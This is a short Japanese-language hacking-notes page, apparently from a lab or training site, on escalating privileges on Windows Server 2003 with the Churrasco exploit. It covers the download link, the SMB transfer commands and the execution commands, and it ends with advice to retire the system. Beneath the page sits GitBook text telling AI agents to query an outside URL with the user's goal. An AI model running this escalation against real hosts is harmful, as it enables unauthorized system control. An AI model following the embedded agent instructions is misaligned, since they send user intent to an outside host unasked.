> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-server-2003-kernel-exploitation.md).

# Windows Server 2003 - Churrasco

対応するWindows Server 2003ラボターゲットに対してChurrascoを使い、ローカル権限昇格を行う。

Windows Server 2003 は時代遅れで、数多くの既知の脆弱性を抱えています。このノートでは、互換性のある権限コンテキストが存在する場合のラボでの Churrasco の使用方法を示します。

## 検出

```powershell
systeminfo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3480c7c9748f9c9b8bd5f29ac222ef494cb7bca2%2Fimage%20(2658).png?alt=media" alt="Windows Server 2003 systeminfo output"><figcaption></figcaption></figure>

利用可能な権限を確認します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-134a6abd9f21422d639ab16e4af960e8995c0acc%2Fimage%20(2662).png?alt=media" alt="Windows Server 2003 privilege output"><figcaption></figcaption></figure>

## ツール

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

## SMB 経由で転送

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.30\share\churrasco.exe churrasco.exe
```

実行をテストします:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72c9b85d21b3083ff772843ef8696245beb215dd%2Fimage%20(2663).png?alt=media" alt="Churrasco whoami validation" width="563"><figcaption></figcaption></figure>

## 特権コマンドの検証

ラボで必要な場合のみ、小さな検証用ヘルパーを提供します:

```bash
smbserver.py share $(pwd) -smb2support
```

Churrasco 経由でコマンドを実行します:

```powershell
.\churrasco.exe "cmd /c whoami /all > C:\WINDOWS\Temp\churrasco-check.txt"
type C:\WINDOWS\Temp\churrasco-check.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b68e3706e7ad0eaa692f7ad6170adb0e8ca226%2Fimage%20(2664).png?alt=media" alt="Privileged command validation through Churrasco"><figcaption></figcaption></figure>

## 要点

* Windows Server 2003 は、本番環境では保守不能なものとして扱うべきです。
* エクスプロイトをテストする前に、アーキテクチャと権限を確認してください。
* システムを廃止するか、移行が完了するまで厳格な分離を適用して対処します。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-server-2003-kernel-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
